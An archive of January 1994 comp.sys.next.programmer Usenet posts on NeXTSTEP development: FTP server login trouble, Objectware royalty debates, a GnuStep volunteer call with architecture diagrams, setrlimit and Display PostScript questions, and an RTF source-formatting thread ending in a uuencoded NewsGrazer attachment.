Newsgroups: comp.sys.next.programmer From: fxdlk@camelot.acf-lab.alaska.edu (A Figment of your Imagination) Subject: WWarchive ftp compiles but does it work on 3.1? Message-ID: <1994Jan24.224956.11637@raven.alaska.edu> Sender: news@raven.alaska.edu (USENET News System) Organization: University of Alaska Computer Network Date: Mon, 24 Jan 1994 22:49:56 GMT Has anyone here gotten FTP server (Version wu-2.1c(2) to work on next system release 3.1 ? I had it working on 3.0 then we upgraded our system and now I keep getting User access denied. messages for all user id's including anonymous when I try to login through ftp. Everything seems to be set up correctally, I even recompiled the code under the new system. Please mail me if you have it working under that system so I can figure out if its a system problem or some error on my part Thanks. Please send all replies directaly to Email, Thanks. Bitnet: Fsdlk@alaska.bitnet Internet: Fsdlk@acad3.alaska.edu NeXT Mail: fxdlk@camelot.acf-lab.alaska.edu ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~ ........... ....... . . . ~ ~ . . . Nasha tai no kasei! . . ~ ~ ... ....... . . ~ ~ . . Prosperity and Long Life, To You. ~ ~ .... xisting . hantom . . ~ ~ . . ~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Newsgroups: comp.sys.next.programmer From: smith@nextone (Howard Smith) Subject: Re: Is Objective - C a dead language ? Message-ID: <1994Jan24.233845.14934@alw.nih.gov> Sender: postman@alw.nih.gov (AMDS Postmaster) Organization: National Institutes of Health References: <2i173i$h65@geraldo.cc.utexas.edu> Distribution: usa Date: Mon, 24 Jan 1994 23:38:45 GMT Its funny, I remember lots of ADA programmers talking about "C" in the same manner back in '86-87. I would expect that few would consider a language undergoing improvements to accomplish greater practical reuse (Protocols, Categories, etc) dead. Perhaps your instructor needs some coursework in OOP! -- Howard C. Smith National Institute of Environmental Health Sciences 111 T.W. Alexander Drive Research Triangle Park, NC 27709 smith@nextone.niehs.nih.gov (919) 541-7594 /// I have seen the future and it is Channel 3, or was it 4? \\\
Newsgroups: comp.sys.next.programmer From: hsr@cs.Stanford.EDU (Scott Roy) Subject: Re: Objectware License Agreements Message-ID: <1994Jan24.232813.27609@CSD-NewsHost.Stanford.EDU> Sender: news@CSD-NewsHost.Stanford.EDU Organization: Computer Science Department, Stanford University, California, USA References: <2humcm$l5d@mail.Rogers.Com> Date: Mon, 24 Jan 1994 23:28:13 GMT Lyle D. Parkyn writes, | | 5% is a reasonable cut if the developer is only using 1 or 2 Objectware | offerings. It could be too much if say 5 or 10 Objectware offerings were | used in the product. That's 25-50% of revenue! | True, but I'm not sure it's all that unreasonable. If I write a program that depends on the work of ten other developers, it seems they should get the money they're asking for before I start getting rich. Just like any other loan, the more debt I incur, the longer I have to wait before I can profit. | | - a commerical product developer who wants to make changes to an | Objectware offering that they don't want to distribute? | | - a company who wants to use an Objectware offering for in-house | projects that won't be sold? | Both of these are commercial. Noncommercial means freely available to anyone that asks. It also means you tell me what you're working on, so that I can tell other people that I fell might be interested. The intent is to make sure that if you really don't want something distributed, then you pay for a commercial license instead of just trying to keep everything hush hush. I cover the commercial/noncommercial distinction a little bit better in my latest revision--available shortly for public consumption! In the meantime, I'ld be happy to send a copy to anyone interested. --- Scott Roy Department of Computer Science Stanford University
Newsgroups: comp.sys.next.programmer From: mdm@wdl1.wdl.loral.com (Mike D Marchionna) Subject: CALL FOR VOLUNTEERS FOR A NeXTStep -> OpenStep --> GnuStep PROJECT Message-ID: <1994Jan24.215906.16121@wdl.loral.com> Sender: news@wdl.loral.com Organization: Loral Western Development Labs Date: Mon, 24 Jan 1994 21:59:06 GMT CALL FOR VOLUNTEERS FOR A NeXTStep -> OpenStep --> GnuStep PROJECT With NeXT Computer Inc. and SUN Microsytsem's recent announcement of the OpenStep project, it is time to begin considering the construction of a truly open and advanced windowing system. Using the forthcoming OpenStep specification as a guide there is now enough pieces of the puzzle available today to begin such a task. A group of people must be formed that are willing to contribute to the design and implementation of this project with the only goal to bring better software to more people. If you think you would like to contribute to such a project please respond to this post. The formation of a dedicated, well rounded team is the first order of business. According to the NeXT/SUN announcement the OpenStep specification will include the following: o Objective-C compiler o Display PostScript o The NeXT AppKit o Portable Distributed Objects o Project/Interface Builder For GnuStep to become a reality the above software tools need to be developed. If this sounds absurd perhaps you should stop reading now. If not, let's take a closer look at what needs to be built. The Objective-C compiler: ------------------------- Thanks to the FSF there is now a usable Objective-C compiler available to almost everyone in the form of gcc-2.5.7. While certain differences do exist between NeXT's compiler and GNU's gcc, they are close enough that work can be started on building a GNU version of the appkit. Display Post Script (DPS): -------------------------- In order for GnuStep to work well some method of replacing and or emulating DPS will be necessary. With the X11 server, GhostScript and DPS specification as models, there is enough groundwork available to produce a GNU DPS product. Call it Display Ghost Script, or DGS for short. Three possible approaches for a DGS system are possible. Each have their own advantages and disadvantages. DGS version 1: A complete frame buffer server. ---------------------------------------------- This would be the most ambitious effort. It would involve taking the DPS specification, using the X11 server, and Ghost Script as references to produce a complete DGS client/server based windowing system. The block diagram might look something like this: +----+ +-----+ | PS |------>| pft |<-----------+ +----+ +-----+ V +-----------+ +--------+ +--------+<----| mouse/kbd | +-------+ +--------+ | DGS | | DGS | +-----------+ | myApp |---| appkit |----->| client |<---->| window | +--------------+ +-------+ +--------+ | lib | | server |---->| frame buffer | +--------+ +--------+ +--------------+ ^ ^ +-------+ +---------+ | | | PS |---->| ps | +--------+ +---------+ | wraps | | wrapper |--->| client | | Font DB | +-------+ +---------+ | code | +---------+ +--------+ DGS Version 2: DPS Emulation Library. ------------------------------------- This would be an emulation layer built atop the X11 library. It would provide a DPS compatible API atop which the GNU appkit could be built. The block diagram might look something like this: +--------+ +--------+<---| MSE/KB | +-------+ +------+ +--------+ +----+ | X11 | +--------+ | myApp |---|appkit|---| DGSlib |---|Xlib|<--->| window | +-------+ +------+ +--------+ +----+ | server | +----+ +--------+--->| FB | +----+ DGS Version 3: A DPS X extension. --------------------------------- This would involve modifying the MIT X server to add a DPS extension similar to what has been done by DEC and SUN. The block diagram might look something like this: +--------+ +---------+ +------------+<---| MSE/KB | +-----+ +------+ | Xlib | | X11 server | +--------+ |myApp|---|appkit|---| ....... |<---->| .......... | +-----+ +------+ | DGS ext | | DGS ext. | +----+ +---------+ +------------+--->| FB | +----+ The NeXT AppKit --------------- With the forthcoming OpenStep specification the AppKit's API and object hierarchy will become public domain. This should greatly reduce development time since a working model is already in existence. In fact an effort to do just that is already under way thanks to Paul Kunz and company. There are several possible approaches to this effort. AppKit via DPS or DGS: ---------------------- This effort would require a working DPS server or equivalent, in an attempt to clone the NeXT's appkit using DPS for all rendering and event handling. Obviously NeXT 's DPS server would be a viable platform, but X/DPS servers from SUN or DEC may also be candidates. AppKit via Xlib: ---------------- This effort would be geared toward replacing the Motif/Xt or OpenLook/Xt layers with an AppKit that uses the Xlib only for its rendering and event handler. AppKit via Motif: (The approach Paul Kunz's group have taken) ------------------------------------------------------------------ This effort would attempt to replicate the AppKit API as close as possible by introducing another layer on top of the Motif/Xt layer. This approach is actually not very desirable, but it achieves its ends the least amount of time and effort. Much Useful knowledge and code be reused from this effort for one of the above efforts. Portable Distributed Objects (PDO) ---------------------------------- Portable Distributed Objects have a bright future ahead of them, but their absence does not hinder any of the development efforts discussed. With the GNU C compiler and the NeXT C compiler beginning to merge, some of this work should fall out of that effort. Whether the GNU Objective-C runtime will be extended to incorperate PDO is still unclear. If NeXT decides to donate the PDO base Object extension to the GNU project than a big boost could be given to GNU a PDO object set. The OpenStep specification will define the API, so that would only leave the development of the PDO core classes such as NXConnection, NXProxy, etc. Project/Interface Builder ------------------------- In order to gain mass acceptance some kind of Interface Builder tool will need to be built. It need not be as elaborate as NeXT's, but should free the programmer of postioning and arranging application interfaces. A translator has already been written to disassemble the NeXT NIB files and convert the typed stream to the GNU typed stream format. What's need to be done now is to get a discussion going on the relative merits of each of the projects listed, plus any other approaches anyone else has in mind. Through these discussion find out which tasks have the greatest support and define teams of people willing work on them. Mutliple projects can and should be done parallel, but most could share work done by each team. Now are there any takers? --MDM Michael D. Marchionna (mdm@wdl.loral.com) San Jose, CA.dst11> Project/Interface Builder -- _________________________________________________________________________ ( _______________________________ Brain, and brain! What is brain! ) \________________________________) --Star Trek (Spock's Brain) / El_Rayo_X_______________________________________________________________/
From: dario@voluptas (Dario Ringach) Newsgroups: comp.sys.next.programmer Subject: Best way to pass a large array of data to display Postscript server Date: 24 Jan 1994 23:43:38 GMT Organization: New York University Distribution: world Message-ID: <2i1mfa$p39@cmcl2.NYU.EDU> Hi- What is the best (fastest) way to pass a (dynamically sized) LARGE array of ints or floats to the display postscript server? Will warps with binding, say something like: defineps PSWPlotPoints(float X[i],Y[i]; int i) be better than using PSsendintarray() or PSsendfloatarray()? Thank you in advance. -- Dario
From: oshio@bwh.harvard.edu (Koichi Oshio) Newsgroups: comp.sys.next.programmer Subject: math.h and -traditional Date: 25 Jan 1994 01:50:14 GMT Organization: Harvard University, NSD Message-ID: <2i1tsm$t7d@hsdndev.harvard.edu> I have been trying to compile certain programs with "-traditional" fla g, because one macro is expecting comments to become null, instead of a space after pre-processing. "-traditional" flag works as expected, however, ARCH_INCLUDE() macro (to find machine dependent part of math.h) now doesn't work, causing sintax error. Does anyone know h ow to use "-traditional" properly ? I am using NeXTSTEP 3.0. Thanks in advance. -- Koichi Oshio [$B2!Hx980l(J] Brigham & Women's Hospital oshio@bwh.harvard.edu () macro (to find machine dependent part of math.h) now doesn't work, causing sintax error. Does anyone know h
Newsgroups: comp.sys.next.programmer From: stef@ziomm.fdn.org (Stephan Mertz) Subject: Re: DSP soundcards!!! (product info wanted) Message-ID: <1994Jan24.215910.1117@ziomm.fdn.org> Sender: stef@ziomm.fdn.org References: <1994Jan24.150733.8381@bradford.ac.uk> Date: Mon, 24 Jan 1994 21:59:10 GMT In article <1994Jan24.150733.8381@bradford.ac.uk> K.Morton@bradford.ac.uk (K MORTON) writes: > > hi all, > > i'm looking for a pc soundcard with a user > programmable dsp onboard... > any info would be greatly appreciated! > > Karl > > k.morton@brad.ac.uk > > p.s. i would prefer a motorolla dsp (56xxx) > Request info to i link Kommunikationssysteme GmbH (info@ilink.de) They have a 56xxx card compatible with black dsp. -- Stephan Mertz Tel/fax: [33] 88 44 47 25 NEXTSTEP Developer e-Mail: stef@ziomm.fdn.org 55, rue de Mulhouse (NeXTmail accepted) 67100 Strasbourg FRANCE
From: otto@coactive.com (Otto Lind) Newsgroups: comp.sys.next.programmer Subject: setrlimit() function Date: 25 Jan 1994 00:04:54 GMT Organization: Coactive Aesthetics Inc. Message-ID: <2i1nn6INNnu@disc.coactive.com> Keywords: setrlimit,malloc Does the setrlimit() function work on NeXT (Motorola, version 3.2)? We have a problem with rnews going haywire with memory allocation and crashing our server when swap space runs out. I was going to modify the source to give it a reasonable data size, but it appears to have no effect. I have included a test program which shows what I was trying to do: ----- cut here ---- #include <sys/time.h> #include <sys/resource.h> #define MY_LIMIT 20000 #define MY_MALLOC 30000 main() { int resource; struct rlimit rlp; char *c; resource = RLIMIT_DATA; printf("getrlimit(RLIMIT_DATA)\n"); if (getrlimit(resource, &rlp)) perror("getrlimit"); printf("rlp.rlim_cur = %d\n", rlp.rlim_cur); printf("rlp.rlim_max = %d\n", rlp.rlim_max); rlp.rlim_cur = MY_LIMIT; rlp.rlim_max = MY_LIMIT; printf("setting rlp.rlim_cur = %d\n", rlp.rlim_cur); if (setrlimit(resource, &rlp)) perror("setrlimit"); printf("getrlimit(RLIMIT_DATA)\n"); if (getrlimit(resource, &rlp)) perror("getrlimit"); printf("rlp.rlim_cur = %d\n", rlp.rlim_cur); printf("rlp.rlim_max = %d\n", rlp.rlim_max); resource = RLIMIT_RSS; printf("\ngetrlimit(RLIMIT_RSS)\n"); if (getrlimit(resource, &rlp)) perror("getrlimit"); printf("rlp.rlim_cur = %d\n", rlp.rlim_cur); printf("rlp.rlim_max = %d\n", rlp.rlim_max); rlp.rlim_cur = MY_LIMIT; rlp.rlim_max = MY_LIMIT; printf("setting rlp.rlim_cur = %d\n", rlp.rlim_cur); if (setrlimit(resource, &rlp)) perror("setrlimit"); printf("getrlimit(RLIMIT_RSS)\n"); if (getrlimit(resource, &rlp)) perror("getrlimit"); printf("rlp.rlim_cur = %d\n", rlp.rlim_cur); printf("rlp.rlim_max = %d\n", rlp.rlim_max); printf("\nAllocating %d bytes\n", MY_MALLOC); c = (char *)malloc(MY_MALLOC); printf("c = %x\n", c); if (c != NULL) { printf("clearing %x\n", c); memset(c, ' ', MY_MALLOC); } } ----- cut here ---- Any help would be appreciated, Otto -- Otto Lind Coactive Aesthetics otto@coactive.com P.O. Box 425967, San Francisco, CA 94142 netcom!coactive!otto voice:(415)626-5152 fax:(415)626-6320
Newsgroups: comp.sys.next.programmer From: Gregory_Mutzel@afs.com Subject: Resizing a DBTableView with User version of NEXTSTEP 3.0 Message-ID: <1994Jan24.211439.2509@afs.com> Keywords: DBTableView Sender: mutz@afs.com Date: Mon, 24 Jan 1994 21:14:39 GMT DBTableView Question: End users who only have the User versions of NEXTSTEP (3.0) installed are not able to resize DBTableView columns. I head a rumor that this was because the the user version did not come with some required files (tiffs and such). Is there a recommended fix for this problem that I have not been able to find? Any help would be appreciated. Thanks, Greg -- Gregory L. Mutzel, 215-653-0911 Anderson Financial Systems, Inc. email: Gregory_Mutzel@afs.com [NeXTmail Appreciated]
From: shanega@athena.mit.edu (Shane G. Artis) Newsgroups: comp.sys.next.programmer Subject: XOR drawing in NeXTSTEP Date: 25 Jan 1994 05:38:00 GMT Organization: Massachusetts Institute of Technology Sender: shanega@athena.mit.edu Distribution: world Message-ID: <2i2b7o$82v@senator-bedfellow.MIT.EDU> Keywords: XOR, Drawing, optimized Hello, NeXT community, I am a NeXTSTEP software developer with the task of porting a segment of code from an X-windows program to NeXTSTEP. This is easy, in general, but breaks down when I have to do XOR operations in the X-windows way (NOT an XOR composite). Has anyone out there surmounted this problem in the 'correct' fashion, i.e. no clear windows floating over the background with the xor-ed pixels drawn to the clear window, for example? What I want is a true XOR operation as defined under the X-windows standard, or any reasonable facsimile thereof. Failing that, any suggestions for quality workarounds? I don't need high-speed, just compatibility. Please reply to the above address (shanega@athena.mit.edu) as I typically don't have time to keep up with this group. Best regards, Shane Artis
Newsgroups: comp.sys.next.programmer From: ericw@its.com (Eric Wespestad) Subject: Re: MultiMedia Source Code - was Re: RTF source code is evil (RTF) Message-ID: <1994Jan24.193236.11217@its.com> Sender: usenet@its.com Organization: Information Technology Solutions References: <2hv1en$kem@usenet.rpi.edu> Date: Mon, 24 Jan 1994 19:32:36 GMT In article <2hv1en$kem@usenet.rpi.edu> gad@eclipse.its.rpi.edu (Garance A. Drosehn) writes: > zmonster@ATHENA.MIT.EDU (Eric M Hermanson) writes: > > Some things just occured to me that might make RTF source support > > more useful than many think. Maybe multi-media support is the > > more proper term.... > > We probably should also ask ourselves the question: > > Do we really want Multimedia *source* code, or is it that > we want the ability to have multimedia *comments* embedded > in our source code? > > Support for multimedia comments embedded right in the source code > file seems quite useful to me. The actual source code itself has > no real need to be multimedia, though. > Rensselaer Polytechnic Institute; Troy NY USA Huh? It depends on whether you prefer this (the unmodified orginal): /*** send prepare message command and check reply ***/ Flags = UAL_PRPMSG_USECDL; /* Use Checked DistList when mailing */ MsgFlags = 0; /* Can set Priority, sensitivity here */ Acks = UAL_ACK_NONE; /* Can set requested Ack level here */ if (ual_packcommand(&errstat, buf, ual_i16(UAL_COMM_ID, UAL_PRPMSG), ual_i16(UAL_COMM_UAREF, UARef), ual_i16(UAL_COMM_SEQNO, SeqNo++), ual_u32(UAL_PRPMSG_C_FLAGS, Flags), ual_i16(UAL_PRPMSG_C_TYPE, UAL_PRPMSG_MSG), ual_u32(UAL_PRPMSG_C_MSGFLAGS, MsgFlags), ual_i16(UAL_PRPMSG_C_MSGACKS, Acks), ual_str(UAL_PRPMSG_C_SUBJECT, subject), UAL_LAST_ARG) != 0) fatal_error("calling ual_packcommand", &errstat); or this (formatted automatically by RTFSyntax.app): /*** send prepare message command and check reply ***/ Flags = UAL_PRPMSG_USECDL; /* Use Checked DistList when mailing */ MsgFlags = 0; /* Can set Priority, sensitivity here */ Acks = UAL_ACK_NONE; /* Can set requested Ack level here */ if (ual_packcommand(&errstat, buf, ual_i16(UAL_COMM_ID, UAL_PRPMSG), ual_i16(UAL_COMM_UAREF, UARef), ual_i16(UAL_COMM_SEQNO, SeqNo++), ual_u32(UAL_PRPMSG_C_FLAGS, Flags), ual_i16(UAL_PRPMSG_C_TYPE, UAL_PRPMSG_MSG), ual_u32(UAL_PRPMSG_C_MSGFLAGS, MsgFlags), ual_i16(UAL_PRPMSG_C_MSGACKS, Acks), ual_str(UAL_PRPMSG_C_SUBJECT, subject), UAL_LAST_ARG) != 0) fatal_error("calling ual_packcommand", &errstat); Inherrited code (I didn't write the above) can often be difficult to read, let alone understand) - so I say yes, we really want (optional) multimedia *source* code, because anything that can make life a little simpler is good. People don't have to write source in RTF, but being able to turn source into RTF (and it still compile) is a real boon, IMHO. -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FUO9&5R;B!#;W5R:65R.WT*7&UA M<F=L,3(P"EQM87)G<C$R,`I[7&-O;&]R=&)L.UQR960P7&=R965N,%QB;'5E M,#M<<F5D,%QG<F5E;C!<8FQU93<T.UQR960S,UQG<F5E;C$P,EQB;'5E,S,[ M7')E9#(U-5QG<F5E;C!<8FQU93`[7')E9#$S.%QG<F5E;C0Q7&)L=64X.WT* M7'!A<F1<='@Q,34R7'1X,C,P-%QT>#,T-39<='@T-C`X7'1X-3<V,%QT>#8Y M,3)<='@X,#8T7'1X.3(Q-EQT>#$P,S8X7'1X,3$U,C!<9C!<8C!<:3!<=6QN M;VYE7&9S,C!<9F,Q7&-F,2!);B!A<G1I8VQE(#PR:'8Q96XD:V5M0'5S96YE M="YR<&DN961U/B!G861`96-L:7!S92YI=',N<G!I+F5D=2`H1V%R86YC92!! M+B!$<F]S96AN*2!W<FET97,Z7`H^('IM;VYS=&5R0$%42$5.02Y-250N1415 M("A%<FEC($T@2&5R;6%N<V]N*2!W<FET97,Z7`H^(#X@4V]M92!T:&EN9W,@ M:G5S="!O8V-U<F5D('1O(&UE('1H870@;6EG:'0@;6%K92!25$8@<V]U<F-E M('-U<'!O<G1<"CX@/B!M;W)E('5S969U;"!T:&%N(&UA;GD@=&AI;FLN("!- M87EB92!M=6QT:2UM961I82!S=7!P;W)T(&ES('1H95P*/B`^(&UO<F4@<')O M<&5R('1E<FTN+BXN7`H^(%P*/B!792!P<F]B86)L>2!S:&]U;&0@86QS;R!A M<VL@;W5R<V5L=F5S('1H92!Q=65S=&EO;CI<"CX@7`H^("`@("!$;R!W92!R M96%L;'D@=V%N="!-=6QT:6UE9&EA("IS;W5R8V4J(&-O9&4L(&]R(&ES(&ET M('1H871<"CX@("`@('=E('=A;G0@=&AE(&%B:6QI='D@=&\@:&%V92!M=6QT M:6UE9&EA("IC;VUM96YT<RH@96UB961D961<"CX@("`@(&EN(&]U<B!S;W5R M8V4@8V]D93]<"CX@7`H^(%-U<'!O<G0@9F]R(&UU;'1I;65D:6$@8V]M;65N M=',@96UB961D960@<FEG:'0@:6X@=&AE('-O=7)C92!C;V1E7`H^(&9I;&4@ M<V5E;7,@<75I=&4@=7-E9G5L('1O(&UE+B`@5&AE(&%C='5A;"!S;W5R8V4@ M8V]D92!I='-E;&8@:&%S7`H^(&YO(')E86P@;F5E9"!T;R!B92!M=6QT:6UE M9&EA+"!T:&]U9V@N7`H^(%)E;G-S96QA97(@4&]L>71E8VAN:6,@26YS=&ET M=71E.R`@("`@("`@("`@5')O>2!.62`@("!54T%<"EP*"EQP87)D7'1X-#@P M7'1X.38P7'1X,30T,%QT>#$Y,C!<='@R-#`P7'1X,C@X,%QT>#,S-C!<='@S M.#0P7'1X-#,R,%QT>#0X,#!<9F,Q7&-F,2!(=6@_($ET(&1E<&5N9',@;VX@ M=VAE=&AE<B!Y;W4@<')E9F5R('1H:7,@*'1H92!U;FUO9&EF:65D(&]R9VEN M86PI.EP*7`H)+RHJ*B!S96YD('!R97!A<F4@;65S<V%G92!C;VUM86YD(&%N M9"!C:&5C:R!R97!L>2`J*BHO7`H)1FQA9W,@/2!504Q?4%)035-'7U5314-$ M3#L)+RH@57-E($-H96-K960@1&ES=$QI<W0@=VAE;B!M86EL:6YG("HO7`H) M37-G1FQA9W,@/2`P.PDO*B!#86X@<V5T(%!R:6]R:71Y+"!S96YS:71I=FET M>2!H97)E("HO7`H)06-K<R`](%5!3%]!0TM?3D].13L)+RH@0V%N('-E="!R M97%U97-T960@06-K(&QE=F5L(&AE<F4@*B]<"@EI9B`H=6%L7W!A8VMC;VUM M86YD*"9E<G)S=&%T+"!B=68L"75A;%]I,38H54%,7T-/34U?240L(%5!3%]0 M4E!-4T<I+`EU86Q?:3$V*%5!3%]#3TU-7U5!4D5&+"!505)E9BDL"75A;%]I M,38H54%,7T-/34U?4T513D\L(%-E<4YO*RLI+`EU86Q?=3,R*%5!3%]04E!- M4T=?0U]&3$%'4RP@1FQA9W,I+`EU86Q?:3$V*%5!3%]04E!-4T=?0U]465!% M+"!504Q?4%)035-'7TU31RDL"75A;%]U,S(H54%,7U!24$U31U]#7TU31T9, M04=3+"!-<V=&;&%G<RDL"75A;%]I,38H54%,7U!24$U31U]#7TU31T%#2U,L M($%C:W,I+`EU86Q?<W1R*%5!3%]04E!-4T=?0U]354)*14-4+"!S=6)J96-T M*2P)54%,7TQ!4U1?05)'*2`A/2`P*5P*"0EF871A;%]E<G)O<B@B8V%L;&EN M9R!U86Q?<&%C:V-O;6UA;F0B+"`F97)R<W1A="D[7`I<"F]R('1H:7,@*&9O M<FUA='1E9"!A=71O;6%T:6-A;&QY(&)Y(%)41E-Y;G1A>"YA<'`I.EP*7`H* M7'!A<F1<='@S-C!<='@W,C!<='@Q,#@P7'1X,30T,%QT>#$X,#!<='@S-C`P M7&9I+3$P.#!<;&DQ,#@P7&=R87DR.%QF8S)<8V8R(`D*7&=R87DP7&9C,5QC M9C$@+RHJ*B!S96YD('!R97!A<F4@;65S<V%G92!C;VUM86YD(&%N9"!C:&5C M:R!R97!L>2`J*BHO"EQG<F%Y,CA<9F,R7&-F,B!<"@E&;&%G<R`](`I<9W)A M>3(X-UQF8S-<8V8S(%5!3%]04E!-4T=?55-%0T1,"EQG<F%Y,CA<9F,R7&-F M,B`["0I<9W)A>3!<9F,Q7&-F,2`O*B!5<V4@0VAE8VME9"!$:7-T3&ES="!W M:&5N(&UA:6QI;F<@*B\*7&=R87DR.%QF8S)<8V8R(%P*"4US9T9L86=S(#T@ M"EQG<F%Y,S`P7&9C-%QC9C0@,`I<9W)A>3(X7&9C,EQC9C(@.PD*7&=R87DP M7&9C,5QC9C$@+RH@0V%N('-E="!0<FEO<FET>2P@<V5N<VET:79I='D@:&5R M92`J+PI<9W)A>3(X7&9C,EQC9C(@7`H)06-K<R`](`I<9W)A>3(X-UQF8S-< M8V8S(%5!3%]!0TM?3D].10I<9W)A>3(X7&9C,EQC9C(@.PD*7&=R87DP7&9C M,5QC9C$@+RH@0V%N('-E="!R97%U97-T960@06-K(&QE=F5L(&AE<F4@*B\* M7&=R87DR.%QF8S)<8V8R(%P*"0I<8B!I9@I<8C`@("AU86Q?<&%C:V-O;6UA M;F0H)F5R<G-T870L(&)U9BP)=6%L7VDQ-B@*7&=R87DR.#=<9F,S7&-F,R!5 M04Q?0T]-35])1`I<9W)A>3(X7&9C,EQC9C(@+"`*7&=R87DR.#=<9F,S7&-F M,R!504Q?4%)035-'"EQG<F%Y,CA<9F,R7&-F,B`I+`EU86Q?:3$V*`I<9W)A M>3(X-UQF8S-<8V8S(%5!3%]#3TU-7U5!4D5&"EQG<F%Y,CA<9F,R7&-F,B`L M(%5!4F5F*2P)=6%L7VDQ-B@*7&=R87DR.#=<9F,S7&-F,R!504Q?0T]-35]3 M15%.3PI<9W)A>3(X7&9C,EQC9C(@+"!397%.;RLK*2P)=6%L7W4S,B@*7&=R M87DR.#=<9F,S7&-F,R!504Q?4%)035-'7T-?1DQ!1U,*7&=R87DR.%QF8S)< M8V8R("P@1FQA9W,I+`EU86Q?:3$V*`I<9W)A>3(X-UQF8S-<8V8S(%5!3%]0 M4E!-4T=?0U]465!%"EQG<F%Y,CA<9F,R7&-F,B`L(`I<9W)A>3(X-UQF8S-< M8V8S(%5!3%]04E!-4T=?35-'"EQG<F%Y,CA<9F,R7&-F,B`I+`EU86Q?=3,R M*`I<9W)A>3(X-UQF8S-<8V8S(%5!3%]04E!-4T=?0U]-4T=&3$%'4PI<9W)A M>3(X7&9C,EQC9C(@+"!-<V=&;&%G<RDL"75A;%]I,38H"EQG<F%Y,C@W7&9C M,UQC9C,@54%,7U!24$U31U]#7TU31T%#2U,*7&=R87DR.%QF8S)<8V8R("P@ M06-K<RDL"75A;%]S='(H"EQG<F%Y,C@W7&9C,UQC9C,@54%,7U!24$U31U]# M7U-50DI%0U0*7&=R87DR.%QF8S)<8V8R("P@<W5B:F5C="DL"0I<9W)A>3(X M-UQF8S-<8V8S(%5!3%],05-47T%21PI<9W)A>3(X7&9C,EQC9C(@*2`A/2`* M7&=R87DS,#!<9F,T7&-F-"`P"EQG<F%Y,CA<9F,R7&-F,B`I7`H)"69A=&%L M7V5R<F]R*`I<9W)A>3(U.5QF8S5<8V8U(")C86QL:6YG('5A;%]P86-K8V]M M;6%N9"(*7&=R87DR.%QF8S)<8V8R("P@)F5R<G-T870I.UP*"EQP87)D7'1X M-#@P7'1X.38P7'1X,30T,%QT>#$Y,C!<='@R-#`P7'1X,C@X,%QT>#,S-C!< M='@S.#0P7'1X-#,R,%QT>#0X,#!<9F,Q7&-F,2!<"DEN:&5R<FET960@8V]D M92`H22!D:61N)W0@=W)I=&4@=&AE(&%B;W9E*2!C86X@;V9T96X@8F4@9&EF M9FEC=6QT('1O(')E860L(&QE="!A;&]N92!U;F1E<G-T86YD*2`M('-O($D@ M<V%Y('EE<RP@=V4@<F5A;&QY('=A;G0@*&]P=&EO;F%L*2!M=6QT:6UE9&EA M("IS;W5R8V4J(&-O9&4L(&)E8V%U<V4@86YY=&AI;F<@=&AA="!C86X@;6%K M92!L:69E(&$@;&ET=&QE('-I;7!L97(@:7,@9V]O9"X@4&5O<&QE(&1O;B=T M(&AA=F4@=&\@=W)I=&4@<V]U<F-E(&EN(%)41BP@8G5T(&)E:6YG(&%B;&4@ M=&\@='5R;B!S;W5R8V4@:6YT;R!25$8@*&%N9"!I="!S=&EL;"!C;VUP:6QE :*2!I<R!A(')E86P@8F]O;BP@24U(3RX*?0IN `
From: sanguish@digifix.com (Scott Anguish) Newsgroups: comp.sys.next.programmer Subject: Looking for NXImage 'manipulation' routines Date: 25 Jan 1994 01:09:58 -0500 Organization: Digital Fix Development Distribution: world Message-ID: <2i2d3m$ep5@digifix.digifix.com> Does anyone have any objects/routines that will allow me to manipulate a NXBitmapImageRep? Specifically I want to be able to do things like Floyd-Steinberg dithering and color quantization from 24bit down to maybe 3 or 4.... Thanks Scott -- - Scott Anguish - sanguish@digifix.com (NextMail) next-announce@digifix.com (comp.sys.next.announce submissions)
Newsgroups: comp.sys.next.programmer From: flash!jon@dsi.com Subject: Re: Objectware License Agreements Message-ID: <CK68qw.3p0@dsinc!flash> Sender: jon@dsinc!flash (Jonathan Hendry) Organization: Who Needs It? References: <1994Jan24.232813.27609@CSD-NewsHost.Stanford.EDU> Date: Tue, 25 Jan 1994 06:01:43 GMT In article <1994Jan24.232813.27609@CSD-NewsHost.Stanford.EDU> hsr@cs.Stanford.EDU (Scott Roy) writes: > Lyle D. Parkyn writes, > > | > | 5% is a reasonable cut if the developer is only using 1 or 2 Objectware > | offerings. It could be too much if say 5 or 10 Objectware offerings were > | used in the product. That's 25-50% of revenue! > | > > True, but I'm not sure it's all that unreasonable. If I write a program > that depends on the work of ten other developers, it seems they should get > the money they're asking for before I start getting rich. Just like any > other loan, the more debt I incur, the longer I have to wait before I can > profit. The problem is that it's not a loan, it's more like a tax. You can never pay it off. (Unless I missed something in the original article) the commercial developer will always be paying the same amount of royalties. Chances are, none of his other costs will give either, so something has to give. Well, he could raise the price, but then he winds up giving more for taxes and for royalties. The upshot is that the commercial developer won't use objectware, so the objectware developer will get no money at all. How about "5% of retail price, not to exceed $x, per copy sold", where X is some dollar amount set by the objectware developer. That way, the objectware developers get a certain amount of money, but the price of the commercial app can be increased to a level which allows for the price of the objects, as well as operating costs, taxes, and even a little profit. If you look at objectware as Cox's "software IC's", this makes sense. If I put a DSP in a computer, that DSP's price doesn't change according to the price of the computer. Instead, I change the price of the computer to account for the price of the DSP. I think it would be best for the Objectware market if commercial developers were able to use as many objects as they like. If every object includes a boundless 5% royalty, nobody's going to use more than a few third-party objects, because it simply won't make any sense. -- Jonathan W. Hendry Inexpensive NeXTSTEP Consulting tjhendry@mcs.drexel.edu For Your "Not-So-Mission-Critical" Apps
